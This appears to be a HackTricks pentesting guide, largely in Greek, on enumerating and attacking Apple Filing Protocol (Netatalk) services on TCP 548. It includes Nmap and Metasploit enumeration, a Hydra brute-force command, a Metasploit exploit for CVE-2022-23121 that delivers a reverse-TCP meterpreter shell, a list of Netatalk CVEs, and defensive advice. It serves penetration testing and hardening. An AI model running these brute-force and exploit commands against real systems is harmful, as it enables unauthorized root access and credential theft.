548 - Pentesting Apple Filing Protocol (AFP)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το Apple Filing Protocol (AFP), που προηγουμένως ήταν γνωστό ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο δικτυακό πρωτόκολλο που περιλαμβάνεται στο Apple File Service (AFS). Σχεδιάστηκε για να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων σε Unicode, δικαιωμάτων POSIX-style και ACL, resource forks, ονομασμένων extended attributes και εξελιγμένων μηχανισμών κλειδώματος αρχείων.
Παρόλο που το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να εμφανίζεται σε:
- Παραδοσιακά περιβάλλοντα macOS / Mac OS 9
- Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν το ανοικτού κώδικα Netatalk daemon
- Δίκτυα με μικτό λειτουργικό (Mixed-OS) όπου το Time-Machine-over-AFP εξακολουθεί να είναι ενεργοποιημένο
Προεπιλεγμένη Θύρα TCP: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Γρήγορο banner / πληροφορίες διακομιστή
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Χρήσιμα AFP NSE scripts:
| Script | Τι κάνει |
|---|---|
| afp-ls | Λίστα διαθέσιμων AFP volumes και files |
| afp-brute | Password brute-force κατά του AFP login |
| afp-serverinfo | Dump server name, machine type, AFP version, supported UAMs, κ.λπ. |
| afp-showmount | Λίστα shares μαζί με τα ACLs τους |
| afp-path-vuln | Εντοπίζει (και μπορεί να εκμεταλλευτεί) directory-traversal, CVE-2010-0533 |
Το NSE brute-force script μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος:
hydra -L users.txt -P passwords.txt afp://<IP>
Αν έχετε ήδη credentials, Nmap’s AFP scripts γίνονται πολύ πιο χρήσιμα επειδή afp-serverinfo leaks τα διαφημιζόμενα UAMs (auth methods), ενώ afp-showmount και afp-ls μπορούν να enumerate reachable shares, ACLs και interesting files:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Δώστε προσοχή σε:
- Machine Type: Netatalk στο
afp-serverinfooutput, που συνήθως σημαίνει NAS / Unix host αντί για την ίδια την υλοποίηση AFP της Apple. - UAMs όπως
DHX,DHX2,CleartxtήGuest, επειδή υποδεικνύουν άμεσα τις προσβάσιμες διαδρομές σύνδεσης και αν είναι ενεργοποιημένη παρωχημένη/αδύναμη πιστοποίηση. - Share ACLs από
afp-showmount; οι κοινόχρηστοι φάκελοι που είναι world-readable ή τύπου drop-box συχνά αποκαλύπτουν backups, αρχεία.applκαι μεταδεδομένα χρηστών πριν καν προσαρτήσετε τον τόμο.
Αλληλεπίδραση με shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (χρησιμοποιώντας afpfs-ng ‑ πακεταρισμένο στις περισσότερες distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Μόλις γίνει mount, να θυμάσαι ότι τα κλασικά Mac resource-forks αποθηκεύονται ως κρυφά ._* AppleDouble αρχεία – αυτά συχνά περιέχουν ενδιαφέροντα metadata που τα εργαλεία DFIR παραβλέπουν.
Σε Netatalk targets αυτό το metadata backend επηρεάζει επίσης την εκμεταλλευσιμότητα:
ea = adσημαίνει ότι τα metadata αποθηκεύονται σε AppleDouble v2 αρχεία / καταλόγους.AppleDouble.ea = sysήea = sambaαποθηκεύει τα metadata σε filesystem extended attributes αντίστοιχα.- Στο Netatalk 4.2+ η παλιά επιλογή
appledoubleαφαιρέθηκε και το backend ελέγχεται αποκλειστικά μέσω της επιλογήςea.
Από μια επιθετική σκοπιά, αυτό σού επιτρέπει να αποφασίσεις γρήγορα αν AppleDouble-oriented bugs είναι πιο πιθανό να είναι προσβάσιμα στον server.
Συνηθισμένες Ευπάθειες & Εκμετάλλευση
Netatalk μη-εξουσιοδοτημένη αλυσίδα RCE (2022)
Πολλοί vendors NAS παρέδωσαν Netatalk ≤3.1.12. Η έλλειψη ελέγχου ορίων στο parse_entries() επιτρέπει σε έναν attacker να δημιουργήσει μια κακόβουλη AppleDouble κεφαλίδα και να αποκτήσει remote root πριν την authentication (CVSS 9.8 – CVE-2022-23121). Υπάρχει πλήρες write-up από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100.
Το Metasploit (>= 6.3) περιλαμβάνει το module exploit/linux/netatalk/parse_entries το οποίο παραδίδει το payload μέσω DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.
Netatalk OpenSession heap overflow (2018)
Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the DSI OpenSession handler allowing unauthenticated code execution (CVE-2018-1160). A detailed analysis and PoC were published by Tenable Research.
Newer Netatalk attack surface (2022-2024)
Recent Netatalk advisories show that the attack surface is no longer limited to parse_entries() and OpenSession handling:
- CVE-2022-45188: a specially crafted
.applfile can trigger a heap overflow inafp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features. - CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when
spotlight = yesis enabled inafp.conf(disabled by default). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login exposes theFPLoginExtpath relevant to CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.uams_guest.sokeeps the Guest login path reachable for CVE-2024-38441.
This means the output of afp-serverinfo is not just fingerprinting data; it helps you decide which login parser is exposed before spending time on exploit development or NAS firmware triage.
Other notable issues
- CVE-2022-22995 – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by
afp-path-vuln.nse). - Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify
Netatalkinafp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.
Αμυντικές Συστάσεις
- Disable AFP εκτός αν είναι απολύτως απαραίτητο – χρησιμοποιήστε SMB3 ή NFS.
- If AFP must stay, upgrade Netatalk to ≥ 3.1.18 or 4.x, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
- Enforce Strong UAMs (π.χ. DHX2), απενεργοποιήστε clear-text και guest logins.
- Περιορίστε το TCP 548 σε αξιόπιστα subnets και τρέξτε AFP μέσα από VPN όταν είναι εκτεθειμένο απομακρυσμένα.
- Περίοδικα σαρώστε με
nmap -p 548 --script afp-*στο CI/CD για να εντοπίζετε rogue / downgraded appliances.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


